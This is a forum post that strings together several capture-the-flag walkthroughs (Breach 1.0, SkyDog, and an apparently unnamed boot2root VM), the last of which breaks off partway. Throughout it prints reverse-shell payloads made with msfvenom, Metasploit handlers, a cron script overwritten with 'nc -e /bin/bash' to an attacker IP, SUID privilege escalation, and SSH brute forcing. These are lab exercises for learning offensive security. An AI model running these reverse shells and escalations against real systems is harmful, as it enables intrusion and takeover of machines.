| Welcome, Guest |
You have to register before you can post on our site.
|
| Forum Statistics |
» Members: 114,288
» Latest member: r3dh3lls
» Forum threads: 13,082
» Forum posts: 20,980
Full Statistics
|
|
|
| [Guide] How to Hack the Breach 1.0 VM (CTF Challenge) |
|
Posted by: NINZA - 04-24-2020, 03:10 PM - Forum: General Discussion
- No Replies
|
 |
This time we are going to solve a fun VM i.e. Breach 1.0. Let’s find out what we already know about it:
Breach 1.0 is a first VM in a multi-part series, it is meant to be for beginner to intermediate boot2root/CTF challenge. It is configured with a static IP address (192.168.110.140) so you will need to configure your host-only adapter to this subnet.
nmap -Pn 192.168.110.140
As you can see it has almost all the ports open that could only mean one thing i.e. an IDS is activated.
Now let’s start nikto :
nikto -h 192.168.110.140
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-4ToktfxPnQc/V9Qq-myCR7I/AAAAAAAANnA/L_i4OxzotK4zGbNPixg45cL5qa9__t8iQCEw/s1600/2.png?w=687&ssl=1)
Nikto proved to be useless in this case. So now let’s divert our attention to Port 80 which is most known and open so we will try by investigating the said port and do to so open the target IP into your browser.
On the home page you will find an image with some dialogues/comments. Open the page source and you will find a base64 encoded code:
<! ——Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo —–>
Decode this code using a Add-On HackBar for Mozilla. Enable this Add-on and click on its Encoding tab then select Decode option. After this it will ask you for the string that you want to decode. Paste the code there and click on Ok
It will show the Base64 code again which means that the code has been encoded twice.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-V-ML7TaZ6ok/V9Qq_1b05SI/AAAAAAAANnQ/rXuABqziNMAxOPcgLasi50XrqZAnTUaWQCEw/s1600/6.png?w=687&ssl=1)
Further decode it with the similar method and you will have one username and password.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-icsvCPWT4KM/V9QrAIrWxUI/AAAAAAAANnU/sVvo19R7l9Aylj_7mld50mAyoLQZ5ckLACEw/s1600/7.png?w=687&ssl=1)
Now go back to the home page and click on the image. It will redirect you to another page.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-JkyrzAjUtJU/V9QrAnu0lAI/AAAAAAAANnY/CaF-GIfQGPcSyTsgkIFlkRljexXhP4hVQCEw/s1600/8.png?w=687&ssl=1)
We tried and open every tab but found nothing except the Employee Portal tab. clicking on Employ Portal tab will open a log in page. Log into it by username and password that you have just decoded using Hack Bar.
Once you are logged in, you will we that there are three messages in the inbox. Open each message one by one as we may find a clue in it.
In the first mail a user is simply sending a message to another user named peter. And as we found no clue in it we may move forward to the second mail.
Second mail is about IDS which confirms our suspicion about activated IDS.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-hZbHSS0ZBb8/V9Qq-O0d_DI/AAAAAAAANm0/5-1VVC_K35gfSNPOFVYZowjBOEO5dJjEwCEw/s1600/13.png?w=687&ssl=1)
Moving onto the third mail you will find that there is a URL mentioned and they are talking about a SSL certification. So let’s not wait any longer and open the URL first.
Opening the URL it will show a file to download. Download the file and save it.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-fKMDPeteZpE/V9QsOO0hPrI/AAAAAAAANno/HxsW5T5_gU0doyTOgn9rWmoqkjG5OMa4wCLcB/s1600/15.png?w=687&ssl=1)
Now let’s look for SSL in the search bar and see what it has to offer.
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-BwToq6IEfOw/V9QsOAPunTI/AAAAAAAANnk/_pqj-aQTxCgkjP2yM_4Nc2dTLWCyW9bggCEw/s1600/17.png?w=687&ssl=1)
There is in fact an SSL certification present. Open it
![[Image: 18.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-6_MUz202X74/V9QsOMar57I/AAAAAAAANng/kM9CsVJy8WI3EpMqxOxlX5zsUAJZSl-BQCEw/s1600/18.png?w=687&ssl=1)
In the SSL certificate you will find a URL.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-vTzN58hXIkI/V9QsOvXcycI/AAAAAAAANnw/NnorsO3JzRAF4I1KIjvLbBOidb51I5zeACEw/s1600/19.png?w=687&ssl=1)
Similarly, open the URL and it will ask you to download a file.
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-cRh40iwj2uE/V9QsOxfLHsI/AAAAAAAANns/x_j97xjWkdgaY_zQ4EJmzg_ysLN7r_IagCEw/s1600/20.png?w=687&ssl=1)
Once you have downloaded the file. Open it with wireshark
Now that the file is opened, try to read it by right clicking on the file and then selecting follow >> TCP stream. This is a normal method to read it but as you can see via this method you can’t read the file as its encrypted and from earlier we know that SSL certificate will allow us to read it.
But now the problem is that SSL option is not activated. So now we have to find a way to activate it. Let’s have look on the files that wireshark is providing. You can see that the most communication is taken place on the port 8443. This port is used for tomcat and the file we downloaded earlier, namely .keystore, might had all the certificates because we recall while downloading this keystore file mentioned something about tom cat which means our intuition is correct.
Now doing a lot of research on internet on security stack we found the keystore’s proprietary format (called “JKS”) to standardized format PKCS12.
keytool -importkeystore -srckeystore keystore -destkeystore mykeystore.p12 -deststoretype PKCS12 -srcalias tomcat
In passwords we have put tomcat as it the general default password. Now the file is ready to import.
So, now to activate it simply go to Edit menu from the menu bar and select Preferences from the drop down menu.
A dialog box will open, select protocols option and then select SSL and then click on Edit button.
Another dialog box will open. Here, give IP address of the target and port number 8443 along with the path of keystore file and the password.
![[Image: 24.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-KcBDS_dHV10/V9QsPa7FkpI/AAAAAAAANn4/EqD7Vj-RgLwLB5i2w_NrJ0dd3mK2GrZkgCEw/s1600/24.png?w=687&ssl=1)
Now we have activated SSL so right click on the file and choose the option Follow and then select SSL stream.
![[Image: 25.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-TyiuPsBP4uA/V9QsPWtTv7I/AAAAAAAANn8/OAebOW1nvhEWxRI0bFBCnBlxq8Z9QGwPwCEw/s1600/25.png?w=687&ssl=1)
Finally, now you can read the file. In the file you will again find a base64 code. Decode it in the similar way using hack bar.
Decoding it with the Hackbar will give you the username and password as the result.
![[Image: 27.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-JtiedzXRd4c/V9QsPz6fDnI/AAAAAAAANoE/IwB5yDi0z4Am7MR-LhLDfauSsF0PyYMDgCEw/s1600/27.png?w=687&ssl=1)
Traversing the file on wireshark some more will show you and URL as shown:
![[Image: 28.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-a-jfBq8WfDs/V9QsQEHSpXI/AAAAAAAANoI/BksqVw8RE1YFIHYw8wPmRkUHM_3aFmvVQCEw/s1600/28.png?w=687&ssl=1)
Opening this URL on the browser will open a software foundation page made in java. On this page you can find a browse option which means we can upload a malicious file here.
So now let’s generate a mile through msfvenom which is compatible with java and for this type :
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.128 LPORT=4444 -f war > /root/Desktop/update.war
![[Image: 30.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-iG8fkx-xsMQ/V9QsQhijyEI/AAAAAAAANoQ/RMtC2US8DzgBcaPndMkGNo_ceWHDFuB2QCEw/s1600/30.png?w=687&ssl=1)
Go to the browse option now and upload your file.
![[Image: 31.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-RpeX6ca5ba4/V9QtOL1SoBI/AAAAAAAANoY/fQ04LH1gBFIX3HASetWIDZpomVru6rOXACLcB/s1600/31.png?w=687&ssl=1)
The file is uploaded.
![[Image: 32.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-v0B86EDjBus/V9QtOO7SnrI/AAAAAAAANoc/BvQ2ktofe6cEtIMbyX-J01IMiPNcSHMrwCEw/s1600/32.png?w=687&ssl=1)
Now before clicking on the file open metasaploit and type ;
use exploit/multi/handler
set payload java/meterpreter/rever_tcp
set lhost 192.168.110.128
set lport 4444
exploit
Click the file once you hit enter and you will have you meterpreter’s session in no time.
Now go to the shell and import the python file to have the control of terminal and for that type :
shell
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
1
2
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
Once you reach the terminal type the following command to see the details:
ls -lsa
As we found nothing in it we went back by typing :
cd ..
![[Image: 33.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-8jwvBvVWBAA/V9QtPhTKxnI/AAAAAAAANoo/oIS9VViB8E0H9uCLqYK5k-wskGGNZTAqwCEw/s1600/33.png?w=687&ssl=1)
Then go to home and into the Milton and read the file which may have our flag. Do this with the following steps:
cd home
ls -lsa
cd milton
ls -lsa
cat some_script.sh
![[Image: 34.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-h-XgptFSuPw/V9QtSS6MDRI/AAAAAAAANo0/7q07BnCNvSos7smeLXrAZLly5b7PgpThgCEw/s1600/34.png?w=687&ssl=1)
LOL! We are trolled as there was no flag here. Now that we found nothing here we were back to square one which means we then started search everything again thoroughly. And then we found an image called bill.png.
We read it with exiftool by typing:
exiftool bill.png
![[Image: 36.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-7K8nyOujf9o/V9QtQBqG7kI/AAAAAAAANos/PM7kYXG8sM0GUjj1g-nTrHABr-66s-rIwCEw/s1600/36.png?w=687&ssl=1)
We found a password here i.e. coffeestains
Then go to the passwd file :
cat /etc/passwd
Then su and give the password as coffeestains :
su blumbergh
And then look for the ID’s by typing :
id
![[Image: 37.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-zsqqekMARrs/V9QtTdoAQfI/AAAAAAAANo8/HhbSt5NCCDILHSUjLVwXIkVPoRdir3KpgCEw/s1600/37.png?w=687&ssl=1)
On further exploring you will find a file called /usr/share/cleanup/tidyup.sh. It says in this file that it runs every three minutes in order to defend itself from hackers. So now, as we have root’s access we should be able to modify it and so type:
echo “nc -e /bin/bash 192.168.110.128 8443” > shell.txt
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
cat /usr/bin/tee /usr/share/cleanup/tidyup.sh
As they above commands have been executed, we will now need a listener to read our flag and for that type ;
nc -lvv -p 8443
![[Image: 39.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-Y0THrFkjfeo/V9QtSieqWoI/AAAAAAAANo4/OyO9CzYjC6kKVh_PAm-5XgALyOpqdm20QCEw/s1600/39.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “SkyDog” which is design by Mr. James Bower. The purpose of this CTF is to find all six flags hidden throughout the server by the hacking network and system services. This can be achieved without hacking the VM file itself. Capturing these flags is quite fun and interesting. Before starting off I am listing the following hints of all 6 flags that we know of beforehand and we have to find out their answers.
Flag #1 Home Sweet Home or (A Picture is worth a Thousand Words)
Flag #2 When do Androids Learn to Walk?
Flag #3 Who Can You Trust?
Flag #4 Who Doesn’t Love a Good Cocktail Party?
Flag #5 another Day at the Office
Flag #6 Little Black Box
Penetrating Methodologies:- Network Scanning (Netdiscover, Nmap)
- Inspecting web services for (Flag 1, 2, 3 & 4)
- Get flag 1st from inside SkyDogCon_CTF.jpg (ExifTool)
- Get flag 2nd using robot.txt
- Get flag 3rd from whistler.zip
- Generating Dictionary for web directory (Cewl)
- Directory brute force (Dirb)
- Get flag 4th from play inside PlayTronics
- Get the .pcap file and grab an audio file (Wireshark)
- SSH Brute force Attack (Hydra)
- Spawn TTY shell of the machine and Get flag 5th (SSH login)
- Writable File privilege escalation
- Get the Root Access and Capture the flag 6th
WalkThrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-sLN-0SEJj4w/W4OZCoG4y9I/AAAAAAAAZ9s/18NdbsUi_FQp2_CzsfBrARy30VseZltawCEwYBhgL/s1600/1.png?w=687&ssl=1)
Our target is 192.168.1.102. Scan the target with nmap.
nmap -A 192.168.1.102
1
nmap -A 192.168.1.102
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-cVyfyqVSdMU/W4OZE085PCI/AAAAAAAAZ_Y/2U8DwhNENI8z6--raE7SMe2iYYQtkNJhQCEwYBhgL/s1600/2.png?w=687&ssl=1)
As the result, we can see that port 22 and 80 are open. Therefore, open the IP in the browser. And as you can see there is nothing but the image of CTF on the webpage.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Wp7XTpaNSAU/W4OZGvc-_XI/AAAAAAAAZ_U/dQBZnfcG93ATLQzsd-AHjTLOx7JdTDRcwCEwYBhgL/s1600/3.png?w=687&ssl=1)
Download the image and read it with ExifTool.
exittool SkyDogCon_CTF.jpg
1
exittool SkyDogCon_CTF.jpg
Reading the image we will find the 1st flag.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-m8yhZ5PJDKg/W4OZG-4DdoI/AAAAAAAAZ_Y/Jj-pt4D5sOM6zs9LpmAVgjvcnaJqK9G0gCEwYBhgL/s1600/4.png?w=687&ssl=1)
The first flag is in MD5 hash value and we will crack the hash value with online MD5 cracker. The value will make up to the word Welcome Home which is approximately close to author description for the 1st flag.
Flag #1 Home Sweet Home or (A Picture is worth a Thousand Words)
Flag 1: flag {abc40a2d4e023b42bd1ff04891549ae2}: Welcome Home
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-GgU4pV6nkX4/W4OZHBihbUI/AAAAAAAAZ_c/nRTuroGyUQgYWoiaBbJxGlQLx8U4oGbjQCEwYBhgL/s1600/5.png?w=687&ssl=1)
If you will go back to nmap scan result, then you will observe there is a robot.txt file in which 15 entries are allowed and 252 are disallowed.
And yes! Opening it in the browser we found our 2nd flag. So let’s crack the MD5 value of the flag.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-fItWlV8X4Gs/W4OZHtHl4pI/AAAAAAAAZ_o/gSuoMXoKpEsujbkg6IOLU4vO0HzWfu99wCEwYBhgL/s1600/6.png?w=687&ssl=1)
On cracking the value of Flag #2 is Bots
Flag #2 When do Androids Learn to Walk?
Flag 2: flag {cd4f10fcba234f0e8b2f60a490c306e6}: Bots
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-Bi88FUoMXEE/W4OZHtrukTI/AAAAAAAAZ_g/0BD_qZhA2OgkaQ0IVP3qXtA9LR7Qfnq6wCEwYBhgL/s1600/7.png?w=687&ssl=1)
After cracking the flag #2 we explored robots.txt some more and upon opening all the allow directories one by one there was one which opened i.e. /Setec
Here it comes up with the following image with title “Too many secrets” therefore I decided to review its source code.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ivmba0G7kwM/W4OZH05NXkI/AAAAAAAAZ_k/SWFHViZL56cTqfhAu-irNQLDaSVs3aq2gCEwYBhgL/s1600/8.png?w=687&ssl=1)
So with help of curl, we inspect following URL and found an /Astronomy directory from here.
curl -v [To see content please register here]
1
curl -v [To see content please register here]
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-wEfPVTD2nvg/W4OZIB0u3PI/AAAAAAAAZ_o/G1c23ETOdLw3KR_ajnGsTLHdp4prfPs1QCEwYBhgL/s1600/9.png?w=687&ssl=1)
Now open this directory by typing URL: [To see content please register here] and here, you will find whistler.zip. Download the file.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-okEEq61A9h4/W4OZCtI_HSI/AAAAAAAAZ_Y/eu-lldikRUY6jZZSRlFCLMcaN-I6h942ACEwYBhgL/s1600/10.png?w=687&ssl=1)
This file is password protected therefore we need to find the password so that we can unzip this file. Now apply dictionary attack to find its password with the help of rockyou.txt and for that type:
fcrackzip -vuD -p /usr/share/wordlists/rockyou.txt Whistler.zip
1
fcrackzip -vuD -p /usr/share/wordlists/rockyou.txt Whistler.zip
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-EZb9nmgv2aM/W4OZCyVa1rI/AAAAAAAAZ_Y/Rx6b6NANvL89tC9Qcmvy-fnnEI_qPzpywCEwYBhgL/s1600/11.png?w=687&ssl=1)
And you will find the password i.e. yourmother and now, of course, unzip the file:
unzip whistler.zip
1
unzip whistler.zip
After unzipping you will find Flag #3 and some other file with a hint. First, open flag:
cat flag.txt
1
cat flag.txt
You will have your flag again in MD5 value. Crack it with similar method.
Flag #3 Who Can You Trust?
Flag3: flag{1871a3c1da602bf471d3d76cc60cdb9b}: yourmother
Now open the other file:
cat QuesttoFindCosmo.txt
1
cat QuesttoFindCosmo.txt
This file will give you a hint regarding OSINT.
OSINT: Open-source intelligence (OSINT) is intelligence collected from publicly available sources. In the intelligence community (IC), the term “open” refers to overt, publicly available sources (as opposed to covert or clandestine sources); it is not related to open-source software or public intelligence.
That means we have to find something related to OSINT. If you recall there was a similar thing in the movie Sneakers and so we will use the movie and apply the technique of cewl here. CEWL lets us create a dictionary file using a URL and here we will use the URL of the movie to help us create the dictionary file and therefore type:
cewl --depth 1 [To see content please register here] -w /root/Desktop/dict.txt
1
cewl --depth 1 [To see content please register here] -w /root/Desktop/dict.txt
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-nwPLwC6YMJE/W4OZDNhJl5I/AAAAAAAAZ_k/TXm2vXzq0sUo7u703AwQFdueeYwa71_NQCEwYBhgL/s1600/12.png?w=687&ssl=1)
My next step is abusing web directories by using the above dictionary “dict.txt” to get some useful directories name with help of dirb command.
dirb [To see content please register here] dict.txt
1
dirb [To see content please register here] dict.txt
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-2ZJcgcP0jS4/W4OZDkaDs2I/AAAAAAAAZ_Y/Tt7cH1RR-3gDvzncv0FnRzvpjTOAXVxVQCEwYBhgL/s1600/13.png?w=687&ssl=1)
This command will show us the following directories:- PlayTronics
- Sectec
- Astronomy
We have already seen the content of Setec and Astronomy directories and so we will now explore PlayTronics.
And to our luck, we found Flag.txt in the PlayTronics directory.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Md7bpeJ82_4/W4OZDjBdiII/AAAAAAAAZ_U/dblcQvrRx68TESBLjbtp0jwuWQXBhm1nACEwYBhgL/s1600/15.png?w=687&ssl=1)
We got the 4th flag from here, lest crack it to get the value of Flag# 4.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-BMs8vA-VpcQ/W4OZDzedygI/AAAAAAAAZ_U/J-AkTMd4EBQVsJTkbEc7JT2yC3ky_2aMQCEwYBhgL/s1600/16.png?w=687&ssl=1)
Crack the flag with a similar method and you will have the Flag #4 value i.e. leroybrown
Flag #4 Who Doesn’t Love a Good Cocktail Party?
Flag 4 : flag{c07908a705c22922e6d416e0e1107d99}: leroybrown
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-GZ08ulu3jI8/W4OZEE0CjmI/AAAAAAAAZ_Q/8eRrYTvl__kwwtr6SHPuESsOqsk2bZlKwCEwYBhgL/s1600/17.png?w=687&ssl=1)
In PlayTronics we also found a file with .pcap extension. Open that file with Wireshark. And upon studying its data carefully you will find an audio file. Download audio file.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-IPIy4uFPN-U/W4OZEEk1XDI/AAAAAAAAZ_o/Gq7OZwVWYnoI6Vf1zqjvsqci_qbJUZdsQCEwYBhgL/s1600/18.png?w=687&ssl=1)
Upon playing the file you will find it says only one word i.e. werner brandes. Now this “werner brandes” word can be our user name. So make a text file with possible combinations of username using the word “werner brandes”. Also, make a text file for passwords containing all the flag values that we just found.
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-nlYfovEt69s/W4OZEVAxaDI/AAAAAAAAZ_U/2s3I5LGhkHQABolDfTRrwiP0_Eaxj4gEgCEwYBhgL/s1600/19.png?w=687&ssl=1)
hydra -v -L dict.txt -P dict.txt.txt 192.168.1.102 ssh
1
hydra -v -L dict.txt -P dict.txt.txt 192.168.1.102 ssh
As you can observe that we had successfully grabbed the SSH username as wernerbrandes and password as leroybrown.
![[Image: 20.1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-_9fud0m0RZQ/W4OZFALQ96I/AAAAAAAAZ_U/O8ew9kdUsq8iGg8bPg8C6tpX_0R-e8zMwCEwYBhgL/s1600/20.1.png?w=687&ssl=1)
Now that you have username and password login with SSH
ssh [email protected]
1
ssh [email protected]
And fortunately, we also found Flag #5 in MD5 value.
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-zki8AmXwsEI/W4OZFH799aI/AAAAAAAAZ_Y/9lUnUj12mvUWdQ0YrZG2KbuuSKOHG089QCEwYBhgL/s1600/20.png?w=687&ssl=1)
Crack it with the same method and the will turn up to be Dr. Gunter Janek
Flag #5 another Day at the Office
Flag 5: flag{82ce8d8f5745ff6849fa7af1473c9b35}: Dr. Gunter Janek
![[Image: 21.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-PGwyMGeCZNo/W4OZFnKCgFI/AAAAAAAAZ_g/XxxCbHaZnroereY6bxW26ufs9O7G2zjWQCEwYBhgL/s1600/21.png?w=687&ssl=1)
Now let’s find a writable file and for that type:
find / -writable -type f
1
find / -writable -type f
![[Image: 22.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-2-Mvkw3kiW0/W4OZFlPSkxI/AAAAAAAAZ_Q/tK0PgRo-XQYun3OmFCUq2vzRMJvdFn0UQCEwYBhgL/s1600/22.png?w=687&ssl=1)
So we will open the sanitizer.py file with the following steps:
cd /lib
cd log
nano sanitizer.py
1
2
3
cd /lib
cd log
nano sanitizer.py
So here the following script was added by admin to clean up all junk file from inside /tmp and these type of files depends upon specific time interval for executions.
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-0GC9kz6wJ08/W4OZGC-7i-I/AAAAAAAAZ_o/pN4hGu0K40EggmWJZtraC_hkcapaDohdQCEwYBhgL/s1600/25.png?w=687&ssl=1)
Now replace “rm -r /tmp/*” from the following line as given below code which will enable SUID bit for /bin/sh after some time.
os.system('chmod u+s /bin/sh')
1
os.system('chmod u+s /bin/sh')
![[Image: 26.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-iqduVMdMJ40/W4OZGNHx6bI/AAAAAAAAZ_c/TXaybgy26mgSXQtniT_UJewj0LlHxO8ZACEwYBhgL/s1600/26.png?w=687&ssl=1)
Now let go to bin /bin/sh and try to get root access with help of the following command.
/bin/sh
id
whoami
ls
cd BlackBox
1
2
3
4
5
/bin/sh
id
whoami
ls
cd BlackBox
And here is our 6th the last flag lets capture it.
cat flag.txt
1
cat flag.txt
Crack the value of the flag with the same method.
Flag #6 Little Black Box
Flag 6: flag {b70b205c96270be6ced772112e7dd03f}: CongratulationsYouDidIt
HURRAYYY!!! All the six flags have been captures. And this CTF is completed.
![[Image: 27.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-QvbjHm1lMyE/W4OZGNZFsFI/AAAAAAAAZ_g/jDoFa2gcTsEJY6z2oS3PynexlEEYGVeJwCEwYBhgL/s1600/27.png?w=687&ssl=1)
This is a boot2root challenge which we will try to complete. This VM is created by Warrior and is a basic exploitable VM so we do not need to worry about any advance exploits and reverse engineering.
Download the VM from –> [To see content please register here]
Breaching Methodology- Network Scanning (Nmap)
- Recon (Nikto)
- LFI due to allow_url_inclued
- Install Tamper data (Firefox plugin)
- Generate PHP Backdoor (Msfvenom)
- Upload and execute a backdoor
- Reverse connection (Metasploit)
- Open UNIX wildcard text file
- Privilege Escalation (cron job)
- Import python one-liner for proper TTY shell
- Take root access and capture the flag
Let’s start
As always start off by locating the target with the netdiscover command. Our target is 192.168.1.100. Now we will scan our target with nmap to know all about its ports.
nmap -p- -A 192.168.1.100
1
nmap -p- -A 192.168.1.100
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-X-2BXSQw-iQ/WuLLK0S4BoI/AAAAAAAAWc8/psO6oHtaW_okx0zCOXxcXIhwDmROWM3QACLcBGAs/s1600/1.png?w=687&ssl=1)
Since port 80 was open for http, therefore, we had explored target IP on the browser but didn’t get any useful information. So further we have decided to use Nikto against target URL.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-md5keRyGIqk/WuLLMCUdLPI/AAAAAAAAWdQ/W8CdJqZ6N6gzWpes7ujyfsiFANwqXeK0gCLcBGAs/s1600/2.png?w=687&ssl=1)
To know more about our target we will use Nikto.
nikto -h 192.168.1.100
1
nikto -h 192.168.1.100
As per result dumped by Nikto, it tells something about info.php, let verify it.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-7443JxRUdQE/WuLLMLkt-nI/AAAAAAAAWdM/ywcl2m-WLm0BOnDZqweoHAG8o1re8SZ5gCLcBGAs/s1600/3.png?w=687&ssl=1)
So when we have browsed [To see content please register here] , we found “allow_url_include” is “on” which means we can call any local or remote file and hence it is pointing towards LFI and RFI vulnerability.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-D87L7AMnxPc/WuLLMmOImdI/AAAAAAAAWdY/hfwfTP3aoAcwEhye3jgdt8YfunAU9xL6gCLcBGAs/s1600/4.png?w=687&ssl=1)
Upon finding the said vulnerability our step was clear i.e. we had use Tamper data(Firefox plugin).
So go to Tools on the menu bar and select Tamper data, When the Tamper Data opens click on Start Tamper.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-YXNtCZxDt7Q/WuLLMqbHdzI/AAAAAAAAWdU/szv-IIqpMhc11_MYEzGgRY6tJwc7gEL5QCLcBGAs/s1600/5.png?w=687&ssl=1)
Now generate the PHP code with the help of which we will have our meterpreter session and to generate the code type:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
Copy the code from <?php to die() and save it on the file with extension .php, we have saved it as shell.php on the desktop and run command python SimpleHTTPServer 80 for transferring it into target’s system.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-boYCUCpPZK8/WuLLM_eLthI/AAAAAAAAWdc/SNCUmOvLVV4ekvNj2wIzbnYpmS57LCX9wCLcBGAs/s1600/6.png?w=687&ssl=1)
Then on Tamper Data give the path of the file without the extension in the text box adjacent to the route. For example type:
[To see content please register here] ?
1
[To see content please register here] ?
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-02hHielltsY/WuLLNfkMstI/AAAAAAAAWdg/qyxHuicFVI85i7IVCdQ-xTJyVc6eZfPxgCLcBGAs/s1600/7.png?w=687&ssl=1)
Before clicking on OK run Metasploit and type:
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
And when you click on ok you will have your meterpreter session. You can type the following command to get the information about the system:
sysinfo
1
sysinfo
Then check the list of the thing present in langman by typing :
ls
1
ls
There is only one folder available so let’s go into it.
cd SDINET
1
cd SDINET
ls (to check the contents of SDINET)
Here, in SDINET you will find a text file which will show you all the steps to move ahead. It contains Unix wildcard attacks.
[To see content please register here]
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-l9IPez0-_4o/WuLLN8DcNEI/AAAAAAAAWdk/PG_xpqEpe3k5nUgQ5YqAyGvcOUWMCLMRwCLcBGAs/s1600/8.png?w=687&ssl=1)
Some further digging revealed that crontab was running a backup script as root, which used tar to compress the contents of /var/www/html. One of the attacks mentioned in the text document covered tar. The commands we used are:
cat /etc/crontab
cat /backup/backup.sh
1
2
cat /etc/crontab
cat /backup/backup.sh
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-cSOXChg_E64/WuLLOABvkuI/AAAAAAAAWdo/xllIM20lPVkRsnLP5cvNPGeww_5ltlR9QCLcBGAs/s1600/9.png?w=687&ssl=1)
On a new terminal generate one-liner malicious code for achieving netcat reverse connection using msfvenom and enter the following command for that.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=8888 R
1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=8888 R
After that copy and paste the generated code inside the meterpreter session as described below and start netcat.
nc -lvp 8888
1
nc -lvp 8888
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-8Z2SU5-yHB0/WuLLLMBb_FI/AAAAAAAAWdA/bN52y7EwgogNhssBOI-svpLJ-x9r2L0dwCLcBGAs/s1600/12.png?w=687&ssl=1)
From inside DefenseCode_Unix_WildCards_Gone_Wild.txt, it has a section about how to get a command execution using the tar command
Next, we ran the following commands inside the meterpreter session:
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
